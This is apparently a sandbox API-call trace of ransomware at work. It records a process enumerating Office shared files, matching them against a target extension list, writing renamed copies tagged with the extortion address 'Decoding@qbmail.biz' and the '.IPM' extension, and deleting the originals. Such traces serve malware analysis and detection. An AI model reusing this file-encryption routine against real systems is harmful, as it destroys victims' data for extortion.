lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0090.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0090.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0090.306] lstrlenW (lpString=".doc") returned 4 [0090.307] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0090.307] lstrlenW (lpString=".docx") returned 5 [0090.307] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0090.307] lstrlenW (lpString=".pdf") returned 4 [0090.307] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0090.307] lstrlenW (lpString=".xls") returned 4 [0090.307] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0090.307] lstrlenW (lpString=".xlsx") returned 5 [0090.307] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0090.307] lstrlenW (lpString=".ppt") returned 4 [0090.307] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0090.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0090.307] lstrlenW (lpString=".zip") returned 4 [0090.307] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0090.307] lstrlenW (lpString=".rar") returned 4 [0090.307] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0090.307] lstrlenW (lpString=".bz2") returned 4 [0090.307] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0090.307] lstrlenW (lpString=".7z") returned 3 [0090.307] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0090.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0090.830] lstrlenW (lpString=".dbf") returned 4 [0090.830] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0090.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0090.830] lstrlenW (lpString=".1cd") returned 4 [0090.830] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0090.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0090.830] lstrlenW (lpString=".jpg") returned 4 [0090.830] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0090.831] lstrcmpiW (lpString1=".emf", lpString2=".IPM") returned -1 [0090.831] lstrlenW (lpString="Genko_2.emf") returned 11 [0090.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0092.700] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=10340) returned 1 [0092.700] CloseHandle (hObject=0x1cc) returned 1 [0092.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0092.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0092.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0092.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0092.701] lstrlenW (lpString=".doc") returned 4 [0092.701] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0092.701] lstrlenW (lpString=".docx") returned 5 [0092.701] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0092.701] lstrlenW (lpString=".pdf") returned 4 [0092.701] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0092.701] lstrlenW (lpString=".xls") returned 4 [0092.701] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0092.701] lstrlenW (lpString=".xlsx") returned 5 [0092.701] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0092.701] lstrlenW (lpString=".ppt") returned 4 [0092.701] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0092.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0092.701] lstrlenW (lpString=".zip") returned 4 [0092.702] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0092.702] lstrlenW (lpString=".rar") returned 4 [0092.702] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0092.702] lstrlenW (lpString=".bz2") returned 4 [0092.702] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0092.702] lstrlenW (lpString=".7z") returned 3 [0092.702] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0092.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0092.702] lstrlenW (lpString=".dbf") returned 4 [0092.702] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0092.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0092.702] lstrlenW (lpString=".1cd") returned 4 [0092.702] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0092.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0092.702] lstrlenW (lpString=".jpg") returned 4 [0092.702] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0092.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0092.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0092.703] lstrlenW (lpString=".doc") returned 4 [0092.703] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0092.703] lstrlenW (lpString=".docx") returned 5 [0092.703] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0092.703] lstrlenW (lpString=".pdf") returned 4 [0092.703] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0092.703] lstrlenW (lpString=".xls") returned 4 [0092.703] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0092.703] lstrlenW (lpString=".xlsx") returned 5 [0092.703] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0092.703] lstrlenW (lpString=".ppt") returned 4 [0092.703] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0092.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0092.703] lstrlenW (lpString=".zip") returned 4 [0092.703] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0092.703] lstrlenW (lpString=".rar") returned 4 [0092.703] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0092.703] lstrlenW (lpString=".bz2") returned 4 [0092.703] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0092.703] lstrlenW (lpString=".7z") returned 3 [0092.703] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0092.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0092.704] lstrlenW (lpString=".dbf") returned 4 [0092.704] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0092.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0092.704] lstrlenW (lpString=".1cd") returned 4 [0092.704] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0092.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0092.704] lstrlenW (lpString=".jpg") returned 4 [0092.704] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0092.704] lstrcmpiW (lpString1=".PNG", lpString2=".IPM") returned 1 [0092.704] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0092.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0093.880] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=19780) returned 1 [0093.881] CloseHandle (hObject=0x204) returned 1 [0093.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0093.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0093.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0093.881] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0093.881] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0093.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0093.882] GetLastError () returned 0x0 [0093.882] ReadFile (in: hFile=0x204, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x4d44, lpOverlapped=0x0) returned 1 [0094.100] WriteFile (in: hFile=0x1ec, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x4d50, lpOverlapped=0x0) returned 1 [0094.102] ReadFile (in: hFile=0x204, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0094.102] WriteFile (in: hFile=0x1ec, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.102] SetEndOfFile (hFile=0x1ec) returned 1 [0094.102] CloseHandle (hObject=0x1ec) returned 1 [0094.103] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0094.103] SetEndOfFile (hFile=0x204) returned 1 [0094.104] CloseHandle (hObject=0x204) returned 1 [0094.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0094.105] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 1 [0094.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0094.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0094.105] lstrlenW (lpString=".doc") returned 4 [0094.105] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0094.105] lstrlenW (lpString=".docx") returned 5 [0094.105] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0094.105] lstrlenW (lpString=".pdf") returned 4 [0094.105] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0094.105] lstrlenW (lpString=".xls") returned 4 [0094.105] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0094.105] lstrlenW (lpString=".xlsx") returned 5 [0094.105] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0094.105] lstrlenW (lpString=".ppt") returned 4 [0094.105] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0094.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0094.105] lstrlenW (lpString=".zip") returned 4 [0094.105] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0094.105] lstrlenW (lpString=".rar") returned 4 [0094.105] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0094.106] lstrlenW (lpString=".bz2") returned 4 [0094.106] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0094.106] lstrlenW (lpString=".7z") returned 3 [0094.106] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0094.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0094.106] lstrlenW (lpString=".dbf") returned 4 [0094.106] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0094.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0094.106] lstrlenW (lpString=".1cd") returned 4 [0094.106] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0094.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0094.106] lstrlenW (lpString=".jpg") returned 4 [0094.106] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0094.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0094.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0094.106] lstrlenW (lpString=".doc") returned 4 [0094.106] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0094.106] lstrlenW (lpString=".docx") returned 5 [0094.106] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0094.106] lstrlenW (lpString=".pdf") returned 4 [0094.106] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0094.106] lstrlenW (lpString=".xls") returned 4 [0094.106] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0094.107] lstrlenW (lpString=".xlsx") returned 5 [0094.107] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0094.107] lstrlenW (lpString=".ppt") returned 4 [0094.107] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0094.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0094.107] lstrlenW (lpString=".zip") returned 4 [0094.107] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0094.107] lstrlenW (lpString=".rar") returned 4 [0094.107] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0094.107] lstrlenW (lpString=".bz2") returned 4 [0094.107] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0094.107] lstrlenW (lpString=".7z") returned 3 [0094.107] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0094.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0094.107] lstrlenW (lpString=".dbf") returned 4 [0094.107] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0094.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0094.107] lstrlenW (lpString=".1cd") returned 4 [0094.107] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0094.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0094.107] lstrlenW (lpString=".jpg") returned 4 [0094.107] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0094.108] lstrcmpiW (lpString1=".GIF", lpString2=".IPM") returned -1 [0094.108] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0094.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0094.108] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=3479) returned 1 [0094.108] CloseHandle (hObject=0x204) returned 1 [0094.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0094.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0094.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0094.109] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0094.109] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0094.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0094.138] GetLastError () returned 0x0 [0094.138] ReadFile (in: hFile=0x204, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0xd97, lpOverlapped=0x0) returned 1 [0094.149] WriteFile (in: hFile=0x18c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xda0, lpOverlapped=0x0) returned 1 [0094.150] ReadFile (in: hFile=0x204, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0094.150] WriteFile (in: hFile=0x18c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xea, lpOverlapped=0x0) returned 1 [0094.150] SetEndOfFile (hFile=0x18c) returned 1 [0094.154] CloseHandle (hObject=0x18c) returned 1 [0094.154] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0094.154] SetEndOfFile (hFile=0x204) returned 1 [0094.156] CloseHandle (hObject=0x204) returned 1 [0094.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0094.156] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1 [0094.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0094.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0094.156] lstrlenW (lpString=".doc") returned 4 [0094.156] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0094.157] lstrlenW (lpString=".docx") returned 5 [0094.157] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0094.157] lstrlenW (lpString=".pdf") returned 4 [0094.157] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0094.157] lstrlenW (lpString=".xls") returned 4 [0094.157] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0094.157] lstrlenW (lpString=".xlsx") returned 5 [0094.157] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0094.157] lstrlenW (lpString=".ppt") returned 4 [0094.157] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0094.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0094.157] lstrlenW (lpString=".zip") returned 4 [0094.157] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0094.157] lstrlenW (lpString=".rar") returned 4 [0094.158] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0094.158] lstrlenW (lpString=".bz2") returned 4 [0094.158] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0094.158] lstrlenW (lpString=".7z") returned 3 [0094.158] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0094.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0094.158] lstrlenW (lpString=".dbf") returned 4 [0094.158] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0094.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0094.158] lstrlenW (lpString=".1cd") returned 4 [0094.158] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0094.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0094.158] lstrlenW (lpString=".jpg") returned 4 [0094.158] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0094.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0094.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0094.158] lstrlenW (lpString=".doc") returned 4 [0094.158] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0094.158] lstrlenW (lpString=".docx") returned 5 [0094.158] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0094.158] lstrlenW (lpString=".pdf") returned 4 [0094.158] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0094.158] lstrlenW (lpString=".xls") returned 4 [0094.159] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0094.159] lstrlenW (lpString=".xlsx") returned 5 [0094.159] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0094.159] lstrlenW (lpString=".ppt") returned 4 [0094.159] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0094.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0094.159] lstrlenW (lpString=".zip") returned 4 [0094.159] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0094.159] lstrlenW (lpString=".rar") returned 4 [0094.159] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0094.159] lstrlenW (lpString=".bz2") returned 4 [0094.159] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0094.159] lstrlenW (lpString=".7z") returned 3 [0094.159] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0094.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0094.159] lstrlenW (lpString=".dbf") returned 4 [0094.159] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0094.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0094.159] lstrlenW (lpString=".1cd") returned 4 [0094.159] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0094.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0094.159] lstrlenW (lpString=".jpg") returned 4 [0094.159] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0094.160] lstrcmpiW (lpString1=".GIF", lpString2=".IPM") returned -1 [0094.160] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0094.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0094.160] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=2722) 